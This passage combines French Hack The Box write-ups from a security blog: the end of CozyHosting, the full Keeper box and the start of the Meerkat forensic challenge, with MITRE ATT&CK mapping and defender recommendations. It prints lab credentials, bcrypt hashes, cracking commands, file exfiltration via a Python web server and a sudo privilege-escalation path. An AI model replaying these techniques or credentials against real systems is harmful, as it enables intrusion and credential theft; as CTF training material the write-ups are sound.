À la suite de notre découverte des services en écoute interne, nous avons identifié un service PostgreSQL. Nous pouvons probablement nous y authentifier avec les identifiants découverts :

app@cozyhosting:/app$ psql -h 127.0.0.1 -U postgres -c "\list"
psql -h 127.0.0.1 -U postgres -c "\list"
Password for user postgres: Vg&nvzAQ7XxR

Technique d'attaque (MITRE ATT&CK) : T1005 - Data from Local System

Une découverte des bases de données, tables et données accessibles nous permet de découvrir une table intéressante :

Cette table contient deux comptes utilisateur, ainsi que le hash de leur mot de passe.

select * from users;
   name    |      password      | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin

Technique d'attaque (MITRE ATT&CK) : T1110.002 - Brute Force: Password Cracking

Nous utilisons à présent John The Ripper pour tenter de casser ces hash à l'aide du dictionnaire de mot de passe rockyou.txt :

$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt /tmp/y
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)     

Le préfixe "$2a$" dans le contexte des hachages de mots de passe fait référence à la version "2a" de l'algorithme de hachage Blowfish utilisé avec la fonction de hachage de mots de passe bcrypt. Mais, c'est une information que John The Ripper sait traiter de façon autonome pour adapter son attaque.

Le cassage de hash de mot de passe bcrypt par dictionnaire avec John the Ripper implique l'utilisation d'une liste de mots prédéfinis (dictionnaire) pour tenter de trouver une correspondance avec les hachages bcrypt. John the Ripper génère les hachages correspondants aux mots du dictionnaire et compare ensuite avec le hash cible. Si les hashs correspondent, alors le hash est considéré comme cassé et l'on connait le mot de passe d'origine.

Bingo ! Nous parvenons à casser le hash du mot de passe de l'utilisateur "admin" !

E. Élévation du privilège sudo

Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH

Étant donné que nous avons un accès au serveur, nous pouvons accéder en lecture au fichier "/etc/passwd", ce qui nous permettra d'avoir une liste d'utilisateur sur lequel tester notre mot de passe :

app@cozyhosting:/app$ cat /etc/passwd |tail -n 4
cat /etc/passwd |tail -n 4
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

Le mot de passe découvert peut être utilisé pour se connecter en SSH avec le compte de l'utilisateur "josh" :

$ ssh [email protected]
josh@cozyhosting:~$ cat user.txt 
7d7[REDACTED]ca5d3c56

Technique d'attaque (MITRE ATT&CK) : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Nous pouvons maintenant, entre autres, lister les dérogations d'exécution via sudo accordées à cet utilisateur :

josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
    (root) /usr/bin/ssh *

Intéressant, cet utilisateur peut exécuter la commande SSH en tant que root. Nous pouvons utiliser la ressource gtfobins.sh pour connaitre les éventuels abus existant sur cette commande : https://gtfobins.github.io/gtfobins/ssh/#sudo

Nous pouvons visiblement utiliser l'option "Proxycommand" pour exécuter une commande en tant que root. L'option ProxyCommand dans la commande SSH permet de spécifier une commande qui sera utilisée pour établir une connexion à un hôte distant. Elle est utile pour traverser un proxy/rebond avant d'atteindre la destination finale. Ici, nous utiliserons l'option pour avoir un shell interactif, encore une fois grâce à un chainage de commande :

Une fois de plus, nous parvenons à abuser de la dérogation de droit sudo pour exécuter autre chose que la commande autorisée. Cela nous permet d'obtenir les droits root sur le serveur.

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)	Détails
T1046 - Network Service Discovery	Découverte des services exposés avec uns can réseau via nmap
T1595 - Active Scanning: Vulnerability Scanning	Utilisation de nuclei et découverte des points d'entrée SpringBoot Actuator
T1190 - Exploit Public-Facing Application	Vol de session de l'application via Actuator
T1059.004 - Command and Scripting Interpreter: Unix Shell	Exploitation d'une RCE dans la fonctionnalité "/executessh" de l'espace authentifié du site vitrine et obtention d'un revershell
T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol	Exfiltration de l'archive ".jar" du site vitrine via HTTP
T1552.001 - Unsecured Credentials: Credentials In Files	Découverte d'identifiants de bases de données postgreSQL dans l'archive ".jar"
T1078.003 - Valid Accounts: Local Accounts	Authentification sur le service PostgreSQL local du système cible
T1005 - Data from Local System	Récupération des hashs des mots de passe des utilisateurs de l'application web en base de données
T1110.002 - Brute Force: Password Cracking	Cassage des hashs découverts avec John The Ripper, obtention des identifiants de l'utilisateur "admin"
T1021.004 - Remote Services: SSH	Authentification SSH avec l'utilisateur "josh"
T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching	Abus de la dérogation de droits sudo accordée à l'utilisateur josh sur la commande SSH.

IV. Notions abordées

A. Côté attaquant

L'utilisation de nuclei nous a fait gagner un temps certains ici. Bien qu'il ne soit pas du tout recommandé de baser notre analyse et nos tests uniquement sur ce genre d'outils automatisés, il faut savoir en tirer parti, car ils présentent certains avantages. Notamment, ils peuvent rapidement tester des éléments très spécifiques autour d'une CVE (même ancienne) ou d'une mauvaise configuration. Ils peuvent aussi passer à côté de vulnérabilité très basiques qui dépendent plus du contexte applicatif. Il faut donc utiliser ces outils intelligemment...

Nous avons également vu dans cet exercice la dangerosité des vulnérabilités de type RCE (Remote Command Execution) et un exemple scolaire d'exploitation de celle-ci. Si l'on s'intéresse au code applicatif ayant mené à cette vulnérabilité (car nous avons l'archive ".jar" à présent), nous pouvons retrouver le code suivant :

Nous voyons ici l'utilisation de "Runtime.getRuntime().exec()" pour exécuter des commandes système en Java. Également, on remarque les fonctions "validateUserName", qui vérifie simplement la présence d'un espace, et "validateHost", qui repose sur une expression régulière et un pattern plus complexe (je n'ai pas précisément étudié le pattern), ce qui correspond à nos observations "boite noire" (sans le code sous les yeux).

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : la première recommandation est bien sûr de rendre inaccessible le point d'entrée "Actuator" aux visiteurs non authentifiés. Ce genre d'information ne doit être visibles qu'aux développeurs. Si celles-ci ne sont pas activement utilisées, il est recommandé de désactiver "Springboot Actuator" sur les environnements en production.

Recommandation n°2 : il est recommandé de renforcer la sécurité applicative, et notamment le contrôle des entrées utilisateurs sur la fonctionnalité "/executessh". La fonction "validateUsername" doit vérifier l'absence de tout caractère spécial susceptible de causer des erreurs ou d'être utilisés pour du chainage et de la substitution de commande. Des ressources de l'OWASP peuvent ici être mises en référence (OS Command Injection Defense Cheat Sheet, OWASP Testing Guide v4.2 - Testing for Command Injection). Pour prendre un peu de recul, la mise en place d'un pare-feu applicatif (WAF ou Web Application Firewall) peut également être recommandée. Celui-ci, s'il est bien configuré, permettra de freiner la démarche de l'attaquant sur les exploitations basiques telles qu'observées ici, voire de lever l'alerte auprès des équipes de sécurité.

Recommandation n°3 : la troisième recommandation porte encore une fois sur "sudo". Si non justifiée par un besoin métier, il est recommandé de supprimer la dérogation "sudo" en place, car la commande concernée peut être utilisée pour exécuter d'autres commandes avec les droits "root". Si elle est justifiée par un besoin métier, il peut être recommandé de passer un script ou un binaire (non modifiable bien entendu) qui restreindra l'utilisation des options de la commande SSH, voir contiendra uniquement quelques commandes pré-enregistrées. L'essentiel est de réduire la marge de manœuvre de l'utilisateur sur l'utilisation de la commande SSH. Le chapitre "6.3 Contrôle d'accès" du guide Recommandations de sécurité relatives à un système GNU/Linux de l'ANSSI contient un ensemble de bonnes pratiques autour de la configuration sudo.

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy

The post Hack The Box – Résoudre la box CozyHosting : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.

I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box Keeper, de difficulté "Facile".

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs.

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies abordées	Linux, web, CMS, Keepass
Outils utilisés	nmap, curl, bash, Python, Keepass Password Dumper

II. Résolution de la box Keeper

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap -F --max-retries 1 -T4 --open -sV 10.10.11.227 -oA nmap-FastVersion
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vous noterez ici que j'utilise l'option -oA de l'outil nmap. Celle-ci permet d'enregistrer la sortie du scan dans trois formats de fichier : texte, XML et un format "condensé" fait pour être utilisé par grep facilement. Lors d'un audit, il est très important de garder toutes les traces générées par nos attaques ou scans. Notamment pour être sûr de ne rien manquer lors de la phase de reporting, surtout si elle s'effectue "à froid" (après l'audit, sans accès à la cible). Je vous conseille de systématiquement utiliser les options intégrées dans vos outils pour générer les traces.

Seuls deux services sont accessibles, un service web et un service d'administration SSH. Tentons dans un premier temps de voir ce qui est présent sur le service web à l'aide de la commande "curl" :

$ curl http://10.10.11.227
<html>
  <body>
    <a href="http://tickets.keeper.htb/rt/">To raise an IT support ticket, please visit tickets.keeper.htb/rt/</a>
  </body>
</html>

Le virtual host par défaut du service web nous indique qu'un nom de domaine "tickets.keeper.htb" existe, il faut donc mettre à jour notre fichier "/etc/hosts" pour pouvoir le résoudre et y accéder :

$ echo "10.10.11.227 tickets.keeper.htb" |sudo tee -a /etc/hosts

B. Des identifiants connus de tous

En arrivant sur l'application web "http://tickets.keeper.htb/rt/", on remarque qu'il s'agit d'une solution de type CMS (Content Management System) et non d'un développement "fait main". Dans ces cas-là, il est important d'identifier rapidement quelques informations comme la version du CMS installée, l'existence de vulnérabilités connues sur cette version ou les suivantes, mais également les identifiants par défaut utilisé (s'ils existent). Ici, le CMS utilisé est Request Tracker 4.4.4" :

La récupération d'information est facilitée, notamment grâce au logo du CMS qui affiche "Request Tracker", mais également via la version précise de l'instance installée, et même des informations concernant le système d'exploitation qui héberge l'application web. Pour en apprendre plus sur la récupération de ce type d'information, je vous oriente vers mon article : Qu’est ce que le Banner Grabbing ?

Sur une application web et sur de nombreux équipements, une installation toute fraiche comporte un compte d'administration par défaut. Celui-ci est utilisé pour une première connexion afin de configurer la solution et créer d'autres comptes. Une mauvaise pratique courante consiste simplement à laisser ce compte par défaut actif, en oubliant de le désactiver ou de changer son mot de passe. Il suffit alors de lire la documentation !

Nous retrouvons ici les identifiants par défaut du compte d'administration des CMS Request Tracker via une recherche Google, dans une documentation non officielle (wiki de la distribution Gentoo) :

Souvent, il est possible de retrouver cette information sur des sites dédiés qui référencent les identifiants par défaut (cirt.net), dans des wordlists dédiées (SecLists), sur des forums (comme ici sur Stackoverflow) ou simplement dans des tutoriels que les administrateurs sont susceptibles d'avoir suivi sans réfléchir !

Technique d'attaque (MITRE ATT&CK) : T1078.001 - Valid Accounts: Default Accounts

Nous parvenons à accéder en tant qu'administrateur à l'application web via les identifiants par défaut : "root:password".

Les applications de ticketing sont généralement très intéressantes pour un attaquant. Elles contiennent un grand nombre d'informations et de détails techniques, et parfois des mots de passe que s'échangent utilisateurs et supports (création de compte, mots de passe qui ne fonctionnent pas, réinitialisation d'un mot de passe, etc.).

C. Informations sensibles exposées

Étant administrateur de la solution, nous accédons à tous les tickets de la plateforme, ainsi qu'aux informations des utilisateurs. La description de l'un d'entre eux est particulièrement intéressante :

Technique d'attaque (MITRE ATT&CK) : T1552 - Unsecured Credentials

On note également un ticket intéressant qui mentionne un crash keepass :

Nous avons à présent un premier mot de passe et un nom d'utilisateur, tentons de les utiliser sur tous les services accessibles demandant une authentification :

Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH

$ ssh [email protected]
Last login: Thu Aug 24 14:44:17 2023 from 10.10.14.86
lnorgaard@keeper:~$ cat user.txt
f85d[REDACTED]4f3a0

Nous avons un premier accès sur la machine ! Il faut à présent tenter d'élever nos privilèges jusqu'à obtenir un accès en tant que root, ce qui nous permettra d'être maitre de la machine.

Il est intéressant de noter que, dans la réalité, l'obtention des droits root sur un serveur web Linux en DMZ n'est pas systématiquement l'objectif principal de l'attaquant. Avec des droits non privilégiés, l'attaquant peut déjà installer des accès distants (reverse shell), des portes dérobées pour revenir sur son accès, mais aussi utiliser ce système comme un rebond vers le reste du réseau. Ici l'attaquant n'a probablement émis aucune alerte de sécurité (EDR/IDS/SIEM) puisque seul un accès SSH a été réalisé. Il serait idiot de tenter des opérations malveillantes potentiellement verbeuses pour passer root si cela n'est pas nécessaire.

D. Accès à la mémoire d'un process Keepass

Bref, notre objectif ici est de compromettre totalement la machine. Commençons par quelques opérations basiques, notamment en regardant les fichiers auxquels notre utilisateur "lnorgaard" a accès. J'utilise pour commencer cela l'outil "find" avec l'option "-user" :

Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery

lnorgaard@keeper:~$ find / -user $(whoami) 2>/dev/null |grep -v "/proc\|/sys"
/var/mail/lnorgaard
/run/user/1000
/run/user/1000/gnupg
/run/user/1000/gnupg/S.gpg-agent
/run/user/1000/gnupg/S.gpg-agent.ssh
/run/user/1000/gnupg/S.gpg-agent.extra
/run/user/1000/gnupg/S.gpg-agent.browser
/run/user/1000/gnupg/S.dirmngr
/home/lnorgaard
/home/lnorgaard/.bash_logout
/home/lnorgaard/.bashrc
/home/lnorgaard/RT30000
/home/lnorgaard/RT30000.zip
/home/lnorgaard/RT30000/KeePassDumpFull.dmp
/home/lnorgaard/RT30000/passcodes.kdbx
/home/lnorgaard/.ssh
/home/lnorgaard/.ssh/known_hosts
/home/lnorgaard/.ssh/known_hosts.old
/home/lnorgaard/.cache
/home/lnorgaard/.cache/motd.legal-displayed
/home/lnorgaard/.config
/home/lnorgaard/.gnupg
/home/lnorgaard/.gnupg/pubring.kbx
/home/lnorgaard/.gnupg/trustdb.gpg
/home/lnorgaard/.profile

Cette commande m'indique tous les fichiers et dossiers dont l'utilisateur est le propriétaire. Attention à bien noter la différence avec les fichiers accessibles en lecture par mon utilisateur, les groupes auxquels il appartient ou les fichiers "word readables". Comme mentionné dans le ticket découvert plus tôt, nous trouvons un coffre-fort Keepass et un fichier .dmp. Je décide de les exfiltrer pour analyse sur mon poste d'attaquant :

Technique d'attaque (MITRE ATT&CK) : T1048 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

# Système Linux compromis
lnorgaard@keeper:~$ python3 -m http.server 9001

# Mon poste Kali
$ wget http://10.10.11.227:9001/RT30000.zip
$ unzip RT30000.zip 
Archive:  RT30000.zip
  inflating: KeePassDumpFull.dmp     
 extracting: passcodes.kdbx    

Ici, j'utilise le module http.server de Python3 pour créer un "mini serveur web" qui exposera sur le port 9001 du système compromis un index correspond au home de l'utilisateur "lnorgaard". Il s'agit d'une méthode simple et rapide pour échanger des fichiers avec un autre système. Attention cependant, les données transitent un HTTP, et donc en clair.

Nous pourrions tenter d'effectuer une attaque par brute force sur le coffre-fort Keepass à l'aide d'outils comme hashcat ou John The Ripper. Néanmoins, la présence d'un fichier ".dmp" est assez inhabituelle.

Un fichier .dmp est généralement un fichier de vidage mémoire (core dump) qui enregistre l'état de la mémoire d'un processus au moment de son arrêt anormal, comme un crash. Ces fichiers sont utiles pour l'analyse post-mortem des erreurs et des problèmes logiciels (raison du crash). Ils peuvent notamment contenir des informations sensibles lorsque les programmes concernés en stockent en mémoire.

Technique d'attaque (MITRE ATT&CK) : T1212 - Exploitation for Credential Access

Après quelques recherches sur la façon dont je pourrais extraire des informations d'un dump mémoire du processus Keepass, je découvre la CVE-2023-32784 affectant les versions de Keepass 2.x antérieures à la version 2.54 :

D'après la description de cette CVE, il serait possible d'extraire le mot de passe du coffre-fort Keepass à partir d'un crash dump, nous ignorons si la version de Keepass utilisée est vulnérable, mais nous avons à disposition un crash dump, cela vaut donc le coup de tenter.

Il faut comprendre que, pour un logiciel "standard", le fait de retrouver des informations en clair d'un crash dump est plutôt normal. On s'attend cependant à ce qu'un outil de sécurité dissimule ces informations afin que l'obtention d'un crash dump ne donne pas lieu à la fuite d'un secret, c'est pourquoi il s'agit ici d'une vulnérabilité donnant lieu à une CVE. J'utilise pour "exploiter" ce dump mémoire et cette CVE l'outil Keepass Password Dumper :

Combined: ●{ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M}dgrød med fløde     

       ●ødgrød med fløde
        ●Ïdgrød med fløde
        ●,dgrød med fløde
         ●ldgrød med fløde
         ●`dgrød med fløde
         ●-dgrød med fløde
         ●'dgrød med fløde
         ●]dgrød med fløde
         ●§dgrød med fløde
        ●Adgrød med fløde
         ●Idgrød med fløde
         ●:dgrød med fløde
         ●=dgrød med fløde
         ●_dgrød med fløde
         ●cdgrød med fløde
         ●Mdgrød med fløde

Cela ne me donne rien de compréhensible, même si le terme "dgrød med fløde" est constitué de caractères qui pourraient être ceux d'une langue étrangère. En effectuant une requête Google sur ces termes, je trouve le nom d'un plat danois : rødgrød med fløde :

Ce nom constituerait en soi une passphrase plutôt robuste avec de nombreux caractères et des caractères spéciaux/inhabituels (espace et "ø"). Il s'agit effectivement de la passphrase protégeant le coffre-fort KeePass récupéré ! Ce coffre-fort contient notamment une clé privée d'authentification :

Un dernier détail, il s'agit d'une clé SSH formatée pour l'outil Putty, qui n'est pas tout à fait le même que le format utilisé par OpenSSH. Une petite conversion est nécessaire :

$ sudo apt-get install putty-tools
$ puttygen /tmp/puttyKey.ppk -O private-openssh -o /tmp/openssh.key

Nous pouvons à présent nous connecter en tant que root sur le système via SSH :

Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH

$ chmod 600 /tmp/openssh.key 
$ ssh [email protected] -i /tmp/openssh.key
root@keeper:~# cat root.txt
d5d[REDACTED]fc8b81

Et voilà, nous avons obtenu les droits "root" sur le système cible.

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)	Détails
T1046 - Network Service Discovery	Réalisation d'un scan réseau via nmap, identification du CMS Request Tracker.
T1078.001 - Valid Accounts: Default Accounts	Authentification à l'aide des identifiants par défaut du CMS.
T1552 - Unsecured Credentials	Découverte d'un mot de passe utilisateur dans la description d'un utilisateur du CMS.
T1021.004 - Remote Services: SSH	Accès en SSH avec le compte lnorgaard
T1083 - File and Directory Discovery	Découverte d'une archive ZIP contenant une base KeePass et un dump mémoire
T1048 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol	Exfiltration via HTTP de l'archive ZIP vers le poste de l'attaquant
T1212 - Exploitation for Credential Access	Exploitation de la CVE-2023-32784 exposant le mot de passe du coffre-fort en clair lors d'un dump mémoire.
T1021.004 - Remote Services: SSH	Accès en SSH avec le compte root

IV. Notions abordées

A. Côté attaquant

Ici, il s'agissait de revenir aux fondamentaux : le mot de passe du compte par défaut. Il s'agit d'une faiblesse très présente dans la réalité, la découverte de cette vulnérabilité permet de rappeler qu'il ne faut jamais négliger les tests les plus simples.

À l'inverse, il est aussi important de savoir identifier les éléments inhabituels au sein d'un système. C'est bien plus le cas dans les CTF que dans la vie réelle. Ici, nous aurions pu passer plusieurs heures à tenter de deviner le mot de passe de la base KeePass découverte, en vain. L'option du brute force étant la plus logique, il fallait également s'intéresser au dump mémoire (plutôt rare d'en trouver dans la vie réelle ou sur les exercices Hack The Box). Le lien avec la version de KeePass n'était pas forcément évident à faire sans avoir la version utilisée par l'utilisateur, mais les bons termes de recherche permettaient de nous orienter vers la bonne CVE.

Un avantage que nous avons aussi souvent sur Hack The Box est qui n'existe pas dans la vie réelle est que les CVE à exploiter (quand il y en a) sont souvent récentes, ce qui permet de faire un tri plus rapide. Dans des conditions réelles, il est fréquent de découvrir des applications qui n'ont pas été mises à jour depuis plusieurs années. Les CVE potentiellement applicables se présentent donc en grand nombre.

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : la principale recommandation ici concerne le premier élément de notre scénario d'attaque. Il est recommandé de modifier systématiquement les mots de passe par défaut des équipements et applications installés sur le système d'information, ou de désactiver ce compte par défaut pour le remplacer par un autre lorsque c'est possible (l'attaquant devra alors devenir le login en plus du mot de passe). Cela est notamment mentionné dans la directive n°12 du guide d'hygiène de l'ANSSI : Changer les éléments d’authentification par défaut sur les équipements et services.

Il est impératif de partir du principe que les configurations par défaut des systèmes d’information sont systématiquement connues des attaquants, quand bien même celles-ci ne le sont pas du grand public. Ces configurations se révèlent (trop) souvent triviales (mot de passe identique à l’identifiant, mal dimensionné ou commun à l’ensemble des équipements et services par exemple) et sont, la plupart du temps, faciles à obtenir pour des attaquants capables de se faire passer pour un utilisateur légitime.

Guide d'hygiène informatique - ANSSI

Recommandation n°2 : il est recommandé de protéger les clés SSH par une passphrase, ce qui empêchera ou ralentira leur réutilisation en cas de vol par un attaquant. Ce cas de figure est d'ailleurs mentionné par l'ANSSI comme un exemple d'authentification double facteur dans son guide Recommandations relatives à l'authentification multifacteur et aux mots de passe. La passphrase permet de chiffrer la clé privée.

Recommandation n°3 : il est également recommandé de mettre à jour les logiciels utilisés sur le système Linux concerné. Au-delà de la présence inhabituelle du dump mémoire Keepass (qui était situé dans le "home" de l'utilisateur propriétaire), c'est une CVE affectant une version non à jour qui a mené à la découverte du mot de passe du coffre-fort. De manière plus formelle, nous pouvons mentionner la directive n°34 du Guide d'hygiène de l'ANSSI : définir une politique de mise à jour des composants du système d’information.

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy

The post Hack The Box – Résoudre la box Keeper : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.

I. Présentation

On se retrouve dans cet article pour une nouvelle solution de l'un des challenges d'investigation numérique/forensic nommés Sherlocks et mis à disposition par la plateforme Hack The Box. Je vous propose ici ma démarche permettant de solutionner le Sherlocks Meerkat, de difficulté "Facile".

Cet article sera notamment l'occasion de comprendre comment peut se dérouler concrètement une cyberattaque, et quels sont les modes opératoires des attaquants et analystes en cybersécurité

Cette solution est publiée en accord avec les règles d'Hack The Box et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme "Retired".

Technologies abordées	Linux, bash, web, JSON, HTTP
Outils utilisés	Wireshark, sublime text, jsbeautifier

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Découverte de l'archive

Dans le cadre de cette investigation, un contexte et une archive sont mis à disposition :

Nous commençons donc par ouvrir l'archive fournie. À l'intérieur, un fichier Wireshark ainsi qu'un fichier JSON :

Le fichier JSON est en format condensé, ou minifié. On peut le rendre plus lisible en faisant l'opération inverse à l'aide de js-beautify :

$ sudo apt install jsbeautifier 
$ cat meerkat-alerts.json |js-beautify > beautified-meerkat-alerts.json

Voilà qui est mieux !

Je ne sais pas vraiment de quel outil viennent ces données, mais il s'agit vraisemblablement d'une solution de sécurité réseau ou d'un IDS (Intrusion Detection System). On y voit différentes données relatives à des alertes de sécurité portant sur des flux réseau (IP destination, source, ports, etc.).

III. Investigation numérique : le cas Meerkat

A. Tâche n°1: l'application web

• Énoncé - Task 1 : We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running?

La première tâche consiste à retrouver le nom de l'application compromise. J'ai commencé par isoler les signatures dans les alertes depuis le fichier JSON afin d'avoir une vue synthétique de celles-ci :

On voit ici que plusieurs alertes référencent l'application Bonitasoft. La solution de sécurité semble avoir reconnu l'exploit ou l'attaque et l'avoir assigné à une CVE. Si l'on s'intéresse à la capture réseau avec l'outil d'analyse réseau Wireshark et que l'on applique un filtre sur le protocole HTTP, on peut voir que l'application bonita apparaît rapidement :

Astuce au passage : pour appliquer rapidement un filtre Wireshark sur un élément très spécifique d'un paquet, on peut effectuer un clic droit sur l'élément en question puis Apply as Filter :

B. Tâche n°2 : identifiants utilisés

• Énoncé - Task 2 : We believe the attacker may have used a subset of the brute forcing attack category - what is the name of the attack carried out?

Il s'agit de retrouver le nom de l'attaque opérée sur l'application, en sachant qu'elle a un lien avec le brute force et les mots de passe. Commençons par nous renseigner sur les attaques existantes et leurs noms exacts auprès de la référence en la matière, le framework MITRE ATT&CK :

On se doute donc que l'attaque va être l'une de celles-ci. Nous pouvons essayer d'analyser les paquets HTTP du fichier PCAP pour en savoir plus (Filtre wireshark : HTTP). S’il s'agit d'une attaque concernant l'authentification, les requêtes qui nous intéressent sont les requêtes POST (à moins que l'application soit vraiment très ancienne, à l'époque où les identifiants transitaient en paramètre GET...). Améliorons notre filtre Wireshark :

Nous pouvons voir que plusieurs requêtes POST ont été faites, chacune avec des identifiants bien précis, soit l'identifiant qui semble être celui par défaut (install:install), soit une adresse mail avec un mot de passe. On observe notamment qu'il n'y a jamais deux fois le même username de testé, il ne s'agit pas d'une attaque par brute force. L'attaquant semble savoir à l'avance quel mot de passe va avec quelle adresse mail.

L'attaquant a donc forcément récupéré ces informations avant de procéder à son attaque. Il s'agit donc d'une attaque par Credential Stuffing où l'attaquant utilise des identifiants valides qu'il a récupéré précédemment (achat sur le darknet, campagne de phishing, etc.).

C. Tâche n°3 : utilisation d'une CVE

• Énoncé - Task 3 : Does the vulnerability exploited have a CVE assigned - and if so, which one?

Ici, il faut revenir sur les alertes de sécurité récupérées dans le format JSON, la CVE en question est déjà identifiée :

L'attaquant a exploité la CVE-2022-25237.

D. Tâche n°4 : contournement de filtre

• Énoncé - Task 4 : Which string was appended to the API URL path to bypass the authorization filter by the attacker's exploit?

D'après la question, l'attaquant aurait modifié l'URL durant son attaque sur l'API afin de contourner un filtrage en place. Voyons cela dans la capture réseau.

Nous pouvons voir qu'après plusieurs tentatives d'authentification infructueuses, l'attaquant parvient à trouver une combinaison valide puisqu'il atterrit sur l'API. On peut notamment observer que toutes les URL comportent un ;i18ntranslation. J'ai du mal à voir l'intérêt d'ajouter cette chaîne de caractère, mais cela semble être en relation avec la CVE exploitée.

E. Tâche n°5 : attaque par brute force

• Énoncé - Task 5 : How many combinations of usernames and passwords were used in the credential stuffing attack?

Ici, Il s'agit de compter le nombre de tentatives d'authentification différentes effectuées par l'attaquant dans le cadre de son attaque par Credential stuffing. Pour ce faire, j'ai appliqué le filtre suivant sur Wireshark :

http.request.uri == "/bonita/loginservice"

Il me permet de n'afficher que les paquets qui contiennent une requête vers /bonita/loginservice, correspondant à la page de login. J'ai ensuite effectué un tri par taille (Length) afin de pouvoir ignorer rapidement toutes les tentatives d'authentification avec install:install (qui font donc tous la même taille : 105 octets). Ceux-ci n'entrent pas dans le cadre d'une attaque par Credential Stuffing, puisqu'il s'agit d'un mot de passe par défaut, et non volé.

En sélectionnant les paquets restants, Wireshark m'indique que j'en ai 59 :

J'en enlève 3 car l'attaquant a fait 4 tentatives d'authentification avec les mêmes identifiants, qui ne comptent donc que pour 1, cela fait donc 56 identifiants.

F. Tâche n°6 : identifiant valide

• Énoncé - Task 6 : Which username and password combination was successful?

Nous avons un aperçu de la réponse via nos analyses précédentes. En affichant uniquement les requêtes POST dans Wireshark, on remarque qu'après plusieurs tentatives d'authentification, l'attaquant commence à requêter d'autres points d'entrée, signe que son attaque par brute force a abouti :

Ici, il ne faut pas oublier de trier nos paquets par ordre d'interception, et non plus par taille. En sélectionnant l'authentification juste avant la requête sur l'URL /bonita/API/pageUpload, on obtient les identifiants avec lesquels l'attaquant est parvenu à s'authentifier :

[email protected]:g0vernm3nt

G. Tâche n°7 : utilisation d'un site tiers

• Énoncé - Task 7 : If any, which text sharing site did the attacker utilise?

Il semble ici que l'attaquant ait utilisé un site de partage de fichiers pour échanger des données avec la cible compromise. Qui dit requête web, dit souvent requête DNS, utilisons un filtre Wireshark sur les requêtes DNS de type 1 (A, c'est-à-dire les requêtes name to IPv4):

Le site utilisé par l'attaquant est pastes.io !

H. Tâche n°8 : script de persistance

• Énoncé - Task 8 : Please provide the file hash of the script used by the attacker to gain persistent access to our host.

